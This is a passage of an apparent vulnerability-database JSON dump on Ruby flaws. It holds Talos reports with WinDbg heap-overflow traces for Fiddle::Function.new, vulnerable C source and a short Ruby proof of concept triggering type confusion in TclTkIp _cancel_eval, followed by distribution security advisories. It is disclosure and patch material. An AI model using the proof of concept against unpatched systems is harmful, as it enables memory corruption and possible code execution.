fiddle!Init_fiddle\n 0:000> g\n ModLoad: 75dc0000 75e20000 C:\\Windows\\SysWOW64\\IMM32.DLL\n ModLoad: 75ce0000 75dac000 C:\\Windows\\syswow64\\MSCTF.dll\n ModLoad: 72b10000 72b3b000 C:\\Windows\\SysWOW64\\nvinit.dll\n ModLoad: 72b00000 72b09000 C:\\Windows\\SysWOW64\\VERSION.dll\n ModLoad: 0f000000 0f006000 C:\\Program Files (x86)\\NVIDIA \n Corporation\\CoProcManager\\detoured.dll\n ModLoad: 6e480000 6e4a9000 C:\\Program Files (x86)\\NVIDIA \n Corporation\\CoProcManager\\nvd3d9wrap.dll\n ModLoad: 76740000 768dd000 C:\\Windows\\syswow64\\SETUPAPI.dll\n ModLoad: 765a0000 765c7000 C:\\Windows\\syswow64\\CFGMGR32.dll\n ModLoad: 762c0000 7634f000 C:\\Windows\\syswow64\\OLEAUT32.dll\n ModLoad: 76440000 7659c000 C:\\Windows\\syswow64\\ole32.dll\n ModLoad: 75490000 754a2000 C:\\Windows\\syswow64\\DEVOBJ.dll\n ModLoad: 6e460000 6e47e000 C:\\Program Files (x86)\\NVIDIA \n Corporation\\CoProcManager\\nvdxgiwrap.dll\n ModLoad: 72a90000 72aa7000 C:\\Windows\\SysWOW64\\CRYPTSP.dll\n ModLoad: 72a50000 72a8b000 C:\\Windows\\SysWOW64\\rsaenh.dll\n ModLoad: 71280000 7128c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\enc\\encdb.so\n ModLoad: 6dd40000 6dd4c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386- \n mingw32\\enc\\trans\\transdb.so\n ModLoad: 6fbc0000 6fbcb000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\enc\\iso_8859_2.so\n ModLoad: 70b40000 70b4c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\thread.so\n *** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \n \\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\fiddle.so -\n ModLoad: 70a40000 70a50000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\fiddle.so\n ModLoad: 6b740000 6b76a000 C:\\Ruby22\\bin\\libffi-6.dll\n Breakpoint 0 hit\n *** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \n \\Ruby22\\bin\\msvcrt-ruby220.dll -\n eax=70a42270 ebx=70a4b068 ecx=70a40000 edx=70a40000 esi=70a4b4ed edi=64105061\n eip=70a42270 esp=0028ee5c ebp=0028f2d8 iopl=0 nv up ei pl nz na po nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\n fiddle!Init_fiddle:\n 70a42270 55 push ebp\n 0:000> bp 70A42ADD \".printf \\\" xcalloc( 0x%x )\\\",edx;.echo;g \"\n 0:000> bp 70A42AE2 \".printf \\\"arg_types addr : 0x%x\\\",eax;.echo\"\n 0:000> g\n \n Start\n args array size : 1\n xcalloc( 0x2 )\n arg_types addr : 0x2b81b50\n \n eax=02b81b50 ebx=00000000 ecx=75e2f489 edx=00000018 esi=00000003 edi=0035003c\n eip=70a42ae2 esp=0028f7a0 ebp=0028f808 iopl=0 nv up ei pl nz na pe nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206\n fiddle!Init_fiddle+0x872:\n 70a42ae2 89c7 mov edi,eax\n 0:000> !heap -p -a 0x2b81b50\n address 02b81b50 found in\n _HEAP @ 510000\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\n 02b81b48 0004 0000 [00] 02b81b50 00008 - (busy)\n \n \n 0:000> !heap -p -a 02b81b48+20 \n address 02b81b68 found in\n _HEAP @ 510000\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\n 02b81b68 0290 0000 [00] 02b81b70 01478 - (free)\n \n \n 0:000> dd 02b81b48+20\n 02b81b68 fad1ca73 000ae511 005100c4 00514668\n 02b81b78 feeefeee feeefeee feeefeee feeefeee\n 02b81b88 feeefeee feeefeee feeefeee feeefeee\n 02b81b98 feeefeee feeefeee feeefeee feeefeee\n 02b81ba8 feeefeee feeefeee feeefeee feeefeee\n 02b81bb8 feeefeee feeefeee feeefeee feeefeee\n 02b81bc8 feeefeee feeefeee feeefeee feeefeee\n 02b81bd8 feeefeee feeefeee feeefeee feeefeee\n 0:000> g\n \n increase size of array\n New args array size is : 11\n \n HEAP[ruby.exe]: Heap block at 02B81B48 modified at 02B81B58 past requested size of 8\n (15dc.16b8): Break instruction exception - code 80000003 (first chance)\n eax=02b81b48 ebx=02b81b58 ecx=77b2f861 edx=0028f969 esi=02b81b48 edi=00000008\n eip=77b9087c esp=0028fbb0 ebp=0028fbb0 iopl=0 nv up ei pl nz na po nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\n ntdll!RtlpBreakPointHeap+0x23:\n 77b9087c cc int 3\n 0:000> !heap -p -a 02b81b48+20\n address 02b81b68 found in\n _HEAP @ 510000\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\n 02b81b68 b8ab 0000 [00] 02b81b70 4c66a - (busy)\n *** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \n \\Ruby22\\bin\\libffi-6.dll -\n libffi_6!ffi_type_pointer\n \n \n 0:000> !heap -x 02b81b48+20\n ERROR: Block 02b81b68 previous size 955d does not match previous block size 4\n HEAP 00510000 (Seg 02af0000) At 02b81b68 Error: invalid block Previous\n \n 0:000> dd 02b81b48+20\n 02b81b68 6b747048 6b747048 6b747048 6b747048\n 02b81b78 6b747048 00000000 00000003 00000003\n 02b81b88 00000003 00000003 00000003 00000003\n 02b81b98 00000003 baadf00d baadf00d baadf00d\n 02b81ba8 baadf00d baadf00d baadf00d baadf00d\n 02b81bb8 baadf00d baadf00d abababab abababab\n 02b81bc8 00000000 00000000 66d2c8ee 180ae518\n 02b81bd8 02b6c4d0 02b6c4d0 02b6c4d0 02b6c4d0\n 0:000> g\n HEAP[ruby.exe]: Invalid address specified to RtlSizeHeap( 00510000, 02B81B50 )\n (15dc.16b8): Break instruction exception - code 80000003 (first chance)\n eax=02b81b48 ebx=02b81b48 ecx=77b2f861 edx=0028f985 esi=00510000 edi=02b81b50\n eip=77b9087c esp=0028fbcc ebp=0028fbcc iopl=0 nv up ei pl nz na po nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\n ntdll!RtlpBreakPointHeap+0x23:\n 77b9087c cc int 3\n 0:000> g\n HEAP[ruby.exe]: Heap block at 02B81B48 modified at 02B81B58 past requested size of 8\n (15dc.16b8): Break instruction exception - code 80000003 (first chance)\n eax=02b81b48 ebx=02b81b58 ecx=77b2f861 edx=0028f871 esi=02b81b48 edi=00000008\n eip=77b9087c esp=0028fab8 ebp=0028fab8 iopl=0 nv up ei pl nz na po nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\n ntdll!RtlpBreakPointHeap+0x23:\n 77b9087c cc int 3\n 0:000> g\n HEAP[ruby.exe]: Invalid address specified to RtlFreeHeap( 00510000, 02B81B50 )\n (15dc.16b8): Break instruction exception - code 80000003 (first chance)\n eax=02b81b48 ebx=02b81b48 ecx=77b2f861 edx=0028f88d esi=00510000 edi=00510000\n eip=77b9087c esp=0028fad4 ebp=0028fad4 iopl=0 nv up ei pl nz na po nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\n ntdll!RtlpBreakPointHeap+0x23:\n 77b9087c cc int 3\n 0:000> g\n eax=00000000 ebx=00000000 ecx=0028f88c edx=0028f88d esi=77bc2100 edi=77bc20c0\n eip=77adfd0e esp=0028fe40 ebp=0028fe5c iopl=0 nv up ei pl zr na pe nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246\n ntdll!ZwTerminateProcess+0x12:\n 77adfd0e 83c404 add esp,4\n 0:000>\n \n\n### TIMELINE\n\n2015-06-11 - Initial Discovery \n2015-06-30 - Vendor Notification \n2016-06-14 - Public Disclosure \n\n\n##### Credit\n\nDiscovered by Marcin \u2018Icewall\u2019 Noga of Cisco Talos\n\n* * *\n\nVulnerability Reports Next Report\n\nTALOS-2016-0152\n\nPrevious Report\n\nTALOS-2016-0033\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2016-06-14T00:00:00", "type": "talos", "title": "Ruby Fiddle::Function.new Heap Overflow Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2339"], "modified": "2016-06-14T00:00:00", "id": "TALOS-2016-0034", "href": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2016-0034", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-03T15:23:57", "description": "# Talos Vulnerability Report\n\n### TALOS-2016-0031\n\n## Ruby TclTkIp ip_cancel_eval Type Confusion Vulnerabilities\n\n##### June 14, 2016\n\n##### CVE Number\n\nCVE-2016-2337\n\n### DESCRIPTION\n\nType Confusion exists in _cancel_eval Ruby\u2019s TclTkIp class method. Attacker passing different type of object than String as \u201cretval\u201d argument can cause arbitrary code execution.\n\n### TESTED VERSIONS\n\nRuby 2.3.0 dev Ruby 2.2.2 Tcl/Tk8.6 or later\n\n### PRODUCT URLs\n\nhttps://www.ruby-lang.org\n\n### DETAILS\n\nVulnerable code:\n \n \n ---------------------------------------------- code \n ---------------------------------------------\t\n Line 7761\tstatic VALUE\n Line 7762\tip_cancel_eval(argc, argv, self)\n Line 7763\tint argc;\n Line 7764\tVALUE *argv;\n Line 7765\tVALUE self;\n Line 7766\t{\n Line 7767\t\tVALUE retval;\n Line 7768\n Line 7769\t\tif (rb_scan_args(argc, argv, \"01\", &retval) == 0) {\n Line 7770\t\t\tretval = Qnil;\n Line 7771\t\t}\n Line 7772\t\tif (ip_cancel_eval_core(get_ip(self)->ip, retval, 0) == \n TCL_OK) {\n Line 7773\t\t\treturn Qtrue;\n Line 7774\t\t} else {\n Line 7775\t\t\treturn Qfalse;\n Line 7776\t\t}\n Line 7777\t}\n \n Line 7736\tstatic int\n Line 7737\tip_cancel_eval_core(interp, msg, flag)\n Line 7738\tTcl_Interp *interp;\n Line 7739\tVALUE msg;\n Line 7740\tint flag;\n Line 7741\t{\n Line 7742\t#if TCL_MAJOR_VERSION < 8 || (TCL_MAJOR_VERSION == 8 && \n TCL_MINOR_VERSION < 6)\n Line 7743\t\trb_raise(rb_eNotImpError,\n Line 7744\t\t\t\t \"cancel_eval is supported Tcl/Tk8.6 or \n later.\");\n Line 7745\n Line 7746\t\tUNREACHABLE;\n Line 7747\t#else\n Line 7748\t\tTcl_Obj *msg_obj;\n Line 7749\n Line 7750\t\tif (NIL_P(msg)) {\n Line 7751\t\t\tmsg_obj = NULL;\n Line 7752\t\t} else {\n Line 7753\t\t\tmsg_obj = Tcl_NewStringObj(RSTRING_PTR(msg), \n RSTRING_LEN(msg));\n Line 7754\t\t\tTcl_IncrRefCount(msg_obj);\n Line 7755\t\t}\n Line 7756\n Line 7757\t\treturn Tcl_CancelEval(interp, msg_obj, 0, flag);\n Line 7758\t#endif\n Line 7759\t}\n ---------------------------------------------- code \n ---------------------------------------------\t\n \n\nIn line 7769 \u201c_cancel_eval\u201d method argument is parse out into \u201cretval\u201d variable. Next this variable is passed to \u201cip_cancel_eval_core\u201d function (line 7772). In line 7753 we can see that our \u201cretval\u201d variable which in this function is passed as \u201cmsg\u201d argument is treated as String object.Passing object different than String we will cause type confusion vulnerability in this line.\n\n### POC\n \n \n ---------------------------------- PoC test.rb ----------------------------------------\n \n require 'tk'\n t = TclTkIp.new()\n t._cancel_eval(0x11223344)\n \n ---------------------------------- PoC test.rb ----------------------------------------\n \n\n### TIMELINE\n\n2015-06-18 - Initial Discovery \n2015-06-30 - Vendor Notification \n2016\u201406-14 - Public Disclosure \n\n\n##### Credit\n\nDiscovered by Marcin \u2018Icewall\u2019 Noga of Cisco Talos\n\n* * *\n\nVulnerability Reports Next Report\n\nTALOS-2016-0032\n\nPrevious Report\n\nTALOS-2016-0029\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2016-06-14T00:00:00", "type": "talos", "title": "Ruby TclTkIp ip_cancel_eval Type Confusion Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2337"], "modified": "2016-06-14T00:00:00", "id": "TALOS-2016-0031", "href": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2016-0031", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "suse": [{"lastseen": "2017-04-28T17:19:07", "description": "This ruby2.1 update to version 2.1.9 fixes the following issues:\n\n Security issues fixed:\n - CVE-2016-2339: heap overflow vulnerability in the\n Fiddle::Function.new&quot;initialize&quot; (bsc#1018808)\n - CVE-2015-7551: Unsafe tainted string usage in Fiddle and DL (bsc#959495)\n - CVE-2015-3900: hostname validation does not work when fetching gems or\n making API requests (bsc#936032)\n - CVE-2015-1855: Ruby'a OpenSSL extension suffers a vulnerability through\n overly permissive matching of hostnames (bsc#926974)\n - CVE-2014-4975: off-by-one stack-based buffer overflow in the encodes()\n function (bsc#887877)\n\n Bugfixes:\n - SUSEconnect doesn't handle domain wildcards in no_proxy environment\n variable properly (bsc#1014863)\n - Segmentation fault after pack &amp; ioctl &amp; unpack (bsc#909695)\n - Ruby:HTTP Header injection in 'net/http' (bsc#986630)\n\n ChangeLog:\n - <a rel=\"nofollow\" href=\"http://svn.ruby-lang.org/repos/ruby/tags/v2_1_9/ChangeLog\">http://svn.ruby-lang.org/repos/ruby/tags/v2_1_9/ChangeLog</a>\n\n This update was imported from the SUSE:SLE-12:Update update project.\n\n", "cvss3": {}, "published": "2017-04-28T18:11:28", "type": "suse", "title": "Security update for ruby2.1 (important)", "bulletinFamily": "unix", "cvss2": {}, "cvelist": ["CVE-2015-3900", "CVE-2015-1855", "CVE-2016-2339", "CVE-2015-7551", "CVE-2014-4975"], "modified": "2017-04-28T18:11:28", "id": "OPENSUSE-SU-2017:1128-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-04/msg00034.html", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-20T11:18:41", "description": "This ruby2.1 update to version 2.1.9 fixes the following issues:\n\n Security issues fixed:\n - CVE-2016-2339: heap overflow vulnerability in the\n Fiddle::Function.new&quot;initialize&quot; (bsc#1018808)\n - CVE-2015-7551: Unsafe tainted string usage in Fiddle and DL (bsc#959495)\n - CVE-2015-3900: hostname validation does not work when fetching gems or\n making API requests (bsc#936032)\n - CVE-2015-1855: Ruby'a OpenSSL extension suffers a vulnerability through\n overly permissive matching of hostnames (bsc#926974)\n - CVE-2014-4975: off-by-one stack-based buffer overflow in the encodes()\n function (bsc#887877)\n\n Bugfixes:\n - SUSEconnect doesn't handle domain wildcards in no_proxy environment\n variable properly (bsc#1014863)\n - Segmentation fault after pack &amp; ioctl &amp; unpack (bsc#909695)\n - Ruby:HTTP Header injection in 'net/http' (bsc#986630)\n\n ChangeLog:\n - <a rel=\"nofollow\" href=\"http://svn.ruby-lang.org/repos/ruby/tags/v2_1_9/ChangeLog\">http://svn.ruby-lang.org/repos/ruby/tags/v2_1_9/ChangeLog</a>\n\n", "cvss3": {}, "published": "2017-04-20T12:08:57", "type": "suse", "title": "Security update for ruby2.1 (important)", "bulletinFamily": "unix", "cvss2": {}, "cvelist": ["CVE-2015-3900", "CVE-2015-1855", "CVE-2016-2339", "CVE-2015-7551", "CVE-2014-4975"], "modified": "2017-04-20T12:08:57", "id": "SUSE-SU-2017:1067-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-04/msg00024.html", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-03T19:17:43", "description": "This update for ruby19 fixes the following issues:\n\n Security issue fixed:\n - CVE-2016-2339: heap overflow vulnerability in the\n Fiddle::Function.new&quot;initialize&quot; (bsc#1018808)\n\n Bugfixes:\n - fix small mistake in the backport for (bsc#986630)\n - HTTP Header injection in 'net/http' (bsc#986630)\n - make the testsuite work with our new openssl requirements\n\n", "cvss3": {}, "published": "2017-04-03T21:09:44", "type": "suse", "title": "Security update for ruby19 (important)", "bulletinFamily": "unix", "cvss2": {}, "cvelist": ["CVE-2016-2339"], "modified": "2017-04-03T21:09:44", "id": "SUSE-SU-2017:0914-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-04/msg00006.html", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:LOW/I:LOW/A:LOW/"}}, {"lastseen": "2017-04-05T13:17:48", "description": "This update for ruby2.2, ruby2.3 fixes the following issues:\n\n Security issues fixed:\n - CVE-2016-2339: heap overflow vulnerability in the\n Fiddle::Function.new&quot;initialize&quot; (boo#1018808)\n - CVE-2015-7551: Unsafe tainted string usage in Fiddle and DL (boo#959495)\n\n Detailed ChangeLog:\n - <a rel=\"nofollow\" href=\"http://svn.ruby-lang.org/repos/ruby/tags/v2_2_6/ChangeLog\">http://svn.ruby-lang.org/repos/ruby/tags/v2_2_6/ChangeLog</a>\n - <a rel=\"nofollow\" href=\"http://svn.ruby-lang.org/repos/ruby/tags/v2_3_3/ChangeLog\">http://svn.ruby-lang.org/repos/ruby/tags/v2_3_3/ChangeLog</a>\n\n", "cvss3": {}, "published": "2017-04-05T15:08:17", "type": "suse", "title": "Security update for ruby2.2, ruby2.3 (important)", "bulletinFamily": "unix", "cvss2": {}, "cvelist": ["CVE-2016-2339", "CVE-2015-7551"], "modified": "2017-04-05T15:08:17", "id": "OPENSUSE-SU-2017:0933-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-04/msg00007.html", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:LOW/I:LOW/A:LOW/"}}], "debiancve": [{"lastseen": "2021-12-14T17:52:31", "description": "Type confusion exists in _cancel_eval Ruby's TclTkIp class method. Attacker passing different type of object than String as \"retval\" argument can cause arbitrary code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-01-06T21:59:00", "type": "debiancve", "title": "CVE-2016-2337", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2337"], "modified": "2017-01-06T21:59:00", "id": "DEBIANCVE:CVE-2016-2337", "href": "https://security-tracker.debian.org/tracker/CVE-2016-2337", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-14T17:52:31", "description": "An exploitable heap overflow vulnerability exists in the Fiddle::Function.new \"initialize\" function functionality of Ruby. In Fiddle::Function.new \"initialize\" heap buffer \"arg_types\" allocation is made based on args array length. Specially constructed object passed as element of args array can increase this array size after mentioned allocation and cause heap overflow.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-01-06T21:59:00", "type": "debiancve", "title": "CVE-2016-2339", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2339"], "modified": "2017-01-06T21:59:00", "id": "DEBIANCVE:CVE-2016-2339", "href": "https://security-tracker.debian.org/tracker/CVE-2016-2339", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-09-22T01:58:34", "description": "RubyGems 2.0.x before 2.0.16, 2.2.x before 2.2.4, and 2.4.x before 2.4.7 does not validate the hostname when fetching gems or making API requests, which allows remote attackers to redirect requests to arbitrary domains via a crafted DNS SRV record, aka a \"DNS hijack attack.\"", "cvss3": {}, "published": "2015-06-24T14:59:00", "type": "debiancve", "title": "CVE-2015-3900", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900"], "modified": "2015-06-24T14:59:00", "id": "DEBIANCVE:CVE-2015-3900", "href": "https://security-tracker.debian.org/tracker/CVE-2015-3900", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-09-16T22:37:08", "description": "RubyGems 2.0.x before 2.0.17, 2.2.x before 2.2.5, and 2.4.x before 2.4.8 does not validate the hostname when fetching gems or making API requests, which allows remote attackers to redirect requests to arbitrary domains via a crafted DNS SRV record with a domain that is suffixed with the original domain name, aka a \"DNS hijack attack.\" NOTE: this vulnerability exists because to an incomplete fix for CVE-2015-3900.", "cvss3": {}, "published": "2015-08-25T17:59:00", "type": "debiancve", "title": "CVE-2015-4020", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900", "CVE-2015-4020"], "modified": "2015-08-25T17:59:00", "id": "DEBIANCVE:CVE-2015-4020", "href": "https://security-tracker.debian.org/tracker/CVE-2015-4020", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "fedora": [{"lastseen": "2020-12-21T08:17:53", "description": "RubyGems is the Ruby standard for publishing and managing third party libraries. ", "cvss3": {}, "published": "2015-08-11T02:06:59", "type": "fedora", "title": "[SECURITY] Fedora 22 Update: rubygems-2.4.8-100.fc22", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900"], "modified": "2015-08-11T02:06:59", "id": "FEDORA:0FC496087B07", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/JGCFID4WQLY54U45Y244GHRRBLMZCWHH/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2020-12-21T08:17:53", "description": "RubyGems is the Ruby standard for publishing and managing third party libraries. ", "cvss3": {}, "published": "2015-08-19T08:17:15", "type": "fedora", "title": "[SECURITY] Fedora 21 Update: rubygems-2.2.5-100.fc21", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900"], "modified": "2015-08-19T08:17:15", "id": "FEDORA:4A0D661A5EC1", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/SIV3IWPXRK4PXKEI3KJGDGFRBB43WM4M/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2020-12-21T08:17:53", "description": "RubyGems is the Ruby standard for publishing and managing third party libraries. ", "cvss3": {}, "published": "2015-08-10T10:06:28", "type": "fedora", "title": "[SECURITY] Fedora 23 Update: rubygems-2.4.8-100.fc23", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900"], "modified": "2015-08-10T10:06:28", "id": "FEDORA:B90ED608757D", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/CKGU7HSXPWYLG53X4GRRZHM5MWPE3AP2/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}], "redhat": [{"lastseen": "2023-05-26T02:21:32", "description": "Ruby is an extensible, interpreted, object-oriented, scripting language.\nIt has features to process text files and to perform system management\ntasks.\n\nA flaw was found in a way rubygems verified the API endpoint hostname\nretrieved through a DNS SRV record. A man-in-the-middle attacker could use\nthis flaw to force a client to download content from an untrusted domain.\n(CVE-2015-3900)\n\nAll rh-ruby22-ruby users are advised to upgrade to these updated packages,\nwhich contain a backported patch to correct this issue. All running\ninstances of Ruby need to be restarted for this update to take effect.\n", "cvss3": {}, "published": "2015-08-24T00:00:00", "type": "redhat", "title": "(RHSA-2015:1657) Important: rh-ruby22-ruby security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, 